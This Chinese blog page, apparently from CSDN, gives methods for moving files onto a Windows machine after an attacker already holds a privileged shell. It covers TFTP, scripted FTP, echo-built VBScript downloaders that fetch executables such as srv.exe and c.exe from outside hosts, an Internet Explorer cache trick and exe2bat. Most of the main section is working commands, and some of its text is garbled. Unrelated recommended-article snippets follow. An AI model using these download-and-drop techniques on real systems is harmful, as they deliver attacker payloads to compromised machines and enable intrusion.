SHELLCMD下文件上传大法

shell脚本使用sftp上传文件 shell脚本使用sftp上传文件sftp ${SFTP_HOST}:${PORT} 阅读详情
 本文是居于已经得到了一个有一定权限的SHELL.命令行下传送文件的其他方法.
一,TFTP
格式:tftp -i get file.exe path/file.exe           默认存放在system32下,如果指定就存在指定的地方。
二:ftp下载文件
  ftp下载文件一般步骤如下:
  echo open xxx.xxx.xxx.xxx 〉 ftp.txt
  echo user 〉〉 ftp.txt
  echo password 〉〉 ftp.txt
  echo binary 〉〉 ftp.txt [可选]
  echo get srv.exe 〉〉 ftp.txt
  echo bye 〉〉 ftp.txt
  ftp -s:ftp.txt(这一步是关键哟)
  del ftp.txt
  这样srv.exe文件拖略谙吕戳恕1Vrv.exe已经存在指定位置。
四:写程序下载
  脚本是非常好的东西,只要把源码保存到一个文件中就能运行。所以在shell下,用echo语句直接写到一个文件中,在用相应的解释程序执行就可以啦。这里是一个程序实例的简化:
  echo Set xPost = CreateObject("Microsoft.XMLHTTP") 〉webdown.vbs
  echo xPost.Open "GET"," http://txhak.126.com/srv.exe",0 〉〉webdown.vbs
  echo xPost.Send() 〉〉webdown.vbs
  echo Set sGet = CreateObject("ADODB.Stream") 〉〉webdown.vbs
  echo sGet.Mode = 3 〉〉webdown.vbs
  echo sGet.Type = 1 〉〉webdown.vbs
  echo sGet.Open() 〉〉webdown.vbs
  echo sGet.Write(xPost.responseBody) 〉〉webdown.vbs
  echo sGet.SaveToFile "srv.exe",2 〉〉webdown.vbs
  然后执行cscript webdown.vbs就可以啦。其中, http://txhak.126.com/srv.exe改成你放文件的网站路径,srv.exe可以改成保存文件的路径。这里ADODB.Stream很重要如果目标机隔离了adodb.stream就会不成功。
五:START ITS:HTTP://IP/文件名
  然后cd "C:/Documents and Settings/Default User/Local Settings/Temporary Internet Files/Content.IE5/"
  然后DIR 文件名[1]
  注意:那串长文件名要用""引起来,因为有空格
  例子:C:/Documents and Settings/Administrator〉start its:http://xxx.xxx.xxx.xxx/srv.
  C:/Documents and Settings/Administrator/Local Settings/Temporary Internet Files/Content.IE5/0AB3MNO1 的目录
  2003-11-22 17:48 12,832 srv[1].exe
  1 个文件 12,832 字节
  列出所有文件:
  1 个文件 12,832 字节
  0 个目录 6,425,985,024 可用字节
  C:/Documents and Settings/Administrator〉copy C:/Documents and Settings/Administrator/Local Settings/Temporary Internet Files/Content.IE5/0AB3MNO1/srv[1].exe c:/srv.exe
  已复制 1 个文件
六。一句话下载。第4种方法的精简,有时很有用的
echo Set xPost = CreateObject(^"Microsoft.XMLHTTP^"):xPost.Open ^"GET^",^" http://soft.163vv.com/77169/c.exe^",0:xPost.Send():Set sGet = CreateObject(^"ADODB.Stream^"):sGet.Mode = 3:sGet.Type = 1:sGet.Open():sGet.Write(xPost.responseBody):sGet.SaveToFile ^"c:/c.exe^",2 〉pig.vbs
七。写程序下载
echo iLocal = LCase(WScript.Arguments(1)) 〉c:/down.vbs
echo iRemote = LCase(WScript.Arguments(0)) 〉〉c:/down.vbs
echo Set xPost = CreateObject("Microsoft.XMLHTTP") 〉〉c:/down.vbs
echo xPost.Open "GET",iRemote,0 〉〉c:/down.vbs
echo xPost.Send() 〉〉c:/down.vbs
echo Set sGet = CreateObject("ADODB.Stream") 〉〉c:/down.vbs
echo sGet.Mode = 3 〉〉c:/down.vbs
echo sGet.Type = 1 〉〉c:/down.vbs
echo sGet.Open() 〉〉c:/down.vbs
echo sGet.Write(xPost.responseBody) 〉〉c:/down.vbs
echo sGet.SaveToFile iLocal,2 〉〉c:/down.vbs
八.exe2bat命令行下输入,debug还原成文件
用exe2bat这个工具把exe文件转化成bat,然后一行行敲进去,这样工作量非常大,只适合于非常短小的文件。
Shell脚本常用命令及如何通过shell脚本实现服务器上文件的上传和下载 Shell 是一个用 C 语言编写的应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内核的服务。Shell 脚本(shell script),是一种为 shell 编写的脚本程序,扩展名为.sh。 阅读详情

相关推荐

shells3:一个小的(ish)Shell脚本,用于从命令行将文件上传到S3

壳牌S3 需要快速上传并获得文件链接吗? 这个小的Bash脚本将帮助您做到这一点。 将自动为文件提供时间戳后缀,以避免命名冲突。 例如, image.png将作为image-1430566517.png上传。 用法 将放在PATH中的某个位置(例如/ usr / local / bin)。 cp shells3.sh /usr/local/bin/shells3 将配置文件添加到~/.shells3.conf 。 有关配置选项的描述,请参见 。 cp shells3.sample.conf ~ /.shells3.conf vim ~ /.shells3.conf # Edit the configuration in your favourite editor 上传一个文件 shells3 image.png 兼容性和依赖性 仅在OS X 10.10 Yosemite上进行了

Xshell——Windows将本地文件上传到Linux服务器

Xshell——Windows将本地文件上传到Linux服务器。

计算机硕士的博客 6542

RIS使用手册

关于医院放射科的一套RIS系统的设计文档

使用xshell上传文件

一.xshell连接Linux主机 1.选择新建会话 2.填写远程公网IP 3.填写用户名 4.填写连接密码 连接完成状态: 二.上传文件 1.安装rz命令 输入rz命令,看是否已经安装了lrzsz 如果没有安装则执行下方命令进行安装 # yum -y install lrzsz 2.确认是否正确安装 安装成功后,输入rpm命令确认是否正确安装 # rpm -qa lrzsz 3.上传本地文件 使用 #rz -y命令进行文件上传,此时会弹出上传的窗口: #rz -y 4.成功页面

shejiataoBlog 4万+

【PCIe DL_Feature详解】

   Data Link Control and Management State Machine在PCIe Gen4引入了DL_Feature这个状态,该状态主要用来协商PCIe link 两端是否支持新的DL Feature,目前为止DL Feature只引入了Scaled Flow Control 来提高Gen4及以上的效率。   DL_Feature 这个状态是可选的,当 Data Link Feature Extended Capability中Data Link Feature Exchang

sinat_38294441的博客 3233

群晖Hyper Backup还原实战:加密与非加密备份的完整操作指南

本文详细介绍了群晖Hyper Backup在加密与非加密备份场景下的完整还原操作指南。通过实战案例和高级技巧,帮助用户应对硬盘故障或系统崩溃时的数据恢复挑战,特别是加密备份恢复中的关键节点和常见陷阱。

weixin_29323365的博客 439

shell脚本_ftp上传文件

shell脚本ftp上传文件实例,直接复制可用

小太阳的代码之路 1593

SIMetrix教程-001.SIMetrix软件简介与安装

  由于某些原因需要用到SIMetrix仿真软件,然而网上的资料并不是特别多,故在此记录一下这款仿真软件的学习过程,也给有需要的人提供一些参考,免走弯路。如果使用过Pspice或者LTspice软件,学习SIMetrix会很容易入门,仿真软件都是大同小异的,会一样后都可以快速入门其他软件。   SIMetrix是一款以SPICE模型为基础的仿真软件,集成了SIMetrix和SIMPLIS两款内核,为工程师提供了可靠的、易于使用的、并完美结合了速度与精度的电路仿真方式。官方的话不多说,和LTspice一样,优

gaoyong_wang的博客 2万+

shell操作文件上传

要在 shell 中上传文件, 可以使用 SCP(Secure Copy)命令。SCP 是一个安全的远程文件复制命令,它通过 Secure Shell (SSH) 进行加密传输。在执行命令时,系统会提示你输入远程主机的密码。输入密码后,文件将被安全地上传到远程主机上。请确保你拥有适当的权限来上传文件到远程主机。

2301_81084339的博客 714

偷懒必备:3种方法快速移植MFC界面资源(含.rc文件打不开解决方案)

本文针对MFC桌面应用开发,详细介绍了三种快速移植界面资源的实战方法:直接编辑.rc文件、利用Visual Studio“添加现有项”进行可视化挂载,以及双实例拖拽应急方案。文章重点剖析了.rc文件无法打开的常见问题,提供了通过修复rc.exe等关键文件来根治此问题的解决方案,帮助开发者高效复用资源,规避ID冲突等陷阱。

weixin_28358083的博客 272

利用运放设计简单有源滤波器(低通、高通、带通)

本文旨在帮助刚接触模电的同学快速设计一个实用可靠的运放,故我将不会说一些晦涩难懂的原理,只给出仿真电路图。

WeiTong0527的博客 3万+

Spark,HDFS概述

当 NameNode 挂掉的时候,它并不能马上替换 NameNode 并提供服务。(1) 辅助 NameNode,分担其工作量,比如定期合并 Fsimage 和 Edits,并推送给 NameNode;(1)文件上传 HDFS 的时候,Client 将文件切分成一个一个的 Block,然后进行上传;(4) Client 提供一些命令来管理 HDFS,比如 NameNode 格式化;命令,它的格式是: hadoop fs -mv 文件起点 终点。(2)与 NameNode 交互,获取文件的位置信息;

2402_87076376的博客 863

实现基于 Python 和 xterm.js 的 Web 交互终端demo

前端 (HTML):使用 xterm.js 作为前端终端模拟器库。创建了一个 WebSocket 连接到 ws://localhost:8765,这与后端服务器的地址和端口匹配。监听 WebSocket 消息,并将数据写入终端。同时监听用户输入并发送到服务器。后端 (Python):使用 websockets 库来创建 WebSocket 服务器,监听端口 8765。使用 paramiko 库来创建 SSH 客户端并连接到指定的远程服务器。

u010674101的专栏 876

xshell如何传输文件

就会打开本地选择文件对话框,选择文件,确定就可以上传到当前所在目录。上传文件,可以直接拖动文件到xshell上传,很方便。下载文件,可以执行下载目录,下载文件时就不会再询问。1.打开xshell工具,连接到服务器。弹出选择本地保存文件对话框。这里可以调整传输的一些属性。6.Alt+P打开属性框。2.yum安装一款工具。3.检查是否安装成功。

qq_28120987的博客 4333

AI人工智能 Agent:在仓储物流中的应用

AI人工智能 Agent:在仓储物流中的应用 1. 背景介绍 1.1 问题的由来 仓储物流行业是全球经济运行的基石之一,涉及商品的存储、运输、分拣和配送等多个环节。随着电子商务的普及和消费者对物流速度和精确性的要求不断提高,仓储物流

AGI×大数据,开启智能时代的认知跃迁;解码AGI,赋能数据驱动的智能革命。 860

你知道几种数字地与模拟地连接方式及优缺点?

频率选择性:磁珠的阻抗特性随频率变化,只对某个频点的噪声有显著抑制作用,对于频率不确定或无法预知的情况,可能不是最佳选择。在实际应用中,选择合适的连接方式需要根据具体的电路频率、信号类型、设计要求等因素综合考虑,以达到最佳的电磁兼容效果.高频信号干扰:在高频电路中,单点接地可能导致信号回流路径过长,增加地线电感,从而引入高频噪声。限制噪声电流:0欧姆电阻相当于一个非常窄的电流通路,能够有效地限制环路电流,使噪声得到抑制。抑制高频信号:电感对高频信号有较大的阻碍作用,可以有效抑制高频噪声。

linkking27的博客 800

⭐⭐【Shell 命令集合 文件传输 】Linux ftp工具 使用指南

【Shell 命令集合 文件传输 】Linux ftp工具 使用指南

探索C++编程的奥秘,分享深入的技术见解和实践,旨在激发读者创造力与解决问题的思维。 2433

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

[shell]上传本地文件至远程服务器

windows的cmd命令和Linux有所不同,本文讲析cmd上传本地文件至远程服务器方案。 Windows的cmd中cd指令无法转换路径怎么办? 1,首先我们看看盘符,我的电脑里有 C D E盘。 2,按下WIN+R键 输入cmd,打开cmd窗口。 3,默认路径为用户文档路径,如果想切换到D盘 ,输入cd d: 是不行的。 4,AppData是C盘里的一个目录,如果用cd指令想切换到这个目录之下是可以的。 5,如果我们要切换盘符的目录,正确的用法是在cd..

weixin_38665509的博客 4288

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

SecureCRT连接虚拟机中的Linux系统相关

SecureCRT连接虚拟机中的Linux系统相关 http://www.linuxidc.com/Linux/2015-05/117048.htm 利用SecureCRT在Linux与Windows之间传输文件 http://www.linuxidc.com/Linux/2014-08/105413.htm

fhggdf 590

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

最新文件上传姿势一览,助你getshell!

部分WAF无法识别解码逻辑。Java框架(如Apache Commons-FileUpload)会自动解码此类编码,但部分防护设备可能遗漏检测。\2. HTTP协议拆分通过构造不规范的协议格式干扰WAF解析逻辑。\1. 混合文件头构造可绕过基于前512字节的魔数检测。\2. AST语法树注入此类代码在语法层面保持合法性,但语义难以分析。

m0_59598029的博客 828

使用shell脚本方式递归上传文件及文件夹到阿里云oss指定目录

【代码】使用shell脚本方式递归上传文件及文件夹到阿里云oss指定目录。

阿来小同学的博客 2962

shell脚本上传文件及下载文件

下载文件 #!/bin/bash #获取性能系统小时粒度的指标数据 u=user #用户名 p=password #密码 ip=127.0.0.1 #ftp ip T=`date -d today +%Y%m%d` #设置文件时间 cd /user/desnd/ #本地存放的文件目录 ftp -n <<EOF open $ip user $u $p binary cd ./upload/ #远程服务器

weixin_44557238的博客 1940

shell传输文件、远程执行命令

使用sftp传输文件:读取ip.txt中的ip数据,连接后传输文件 #!/bin/bash cat ip.txt | while read line do echo $line lftp -u root,password sftp://$line:22 <<EOF rm -rf aaa.tar put aaa.tar bye EOF done 使用expect,ssh登录服务器,执行命令: #!/bin/bash cat ip.txt | wh

背着行囊去远方的博客 1624

shell 上传与下载文件 SZ、RZ

概述: 上传文件只需在shell终端仿真器中输入命令“rz”,即可从弹出的对话框中选择本地磁盘上的文件,利用Zmodem上传到服务器当前路径下。 下载文件只需在shell终端仿真器中输入命令“sz 文件名”,即可利用Zmodem将文件下载到本地某目录下。 通过“File Transfer”可以修改下载到本地的默认路径。设置默认目录:options–>session options→X/Y/Zmodem。 sz用法: 下载一个文件:sz filename 下载多个文件:sz filename1 f

此心安处是吾乡 6643

xshell传输文件到服务器(ubuntu)(上传下载)

一、利用xshell上传下载内容 点击xftp按钮(绿色按钮),出现一个对话框,对话框左边是本地的文件预览,对话框右边是服务器当前路径的文件预览 上传下载文件,直接拖拉内容 二、其他方式: 1. xshell连接服务器/本地虚拟机 2. 首先在服务器/虚拟机上安装 lrzsz 软件,xshell中输入:sudo apt install lrzsz 之后输入服务器/虚拟机密码 3....

houhou的博客 1万+

渗透技巧——通过cmd上传文件的N种方法

渗透技巧——通过cmd上传文件的N种方法 三好学生 · 2016/04/05 10:23 0x00 前言 在渗透测试的过程中,常常需要向目标主机上传文件,我在最近的学习测试过程中就碰到了这个问题,要求只能通过cmd shell向目标主机(Windows系统)上传文件,所以本文就对该技巧做一下总结。 图片来自于http://www.telegraph.co.uk/news

citelao的博客 8119
上一篇: xp_cmdshell新的恢复办法
下一篇: SSDT的检测与恢复
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值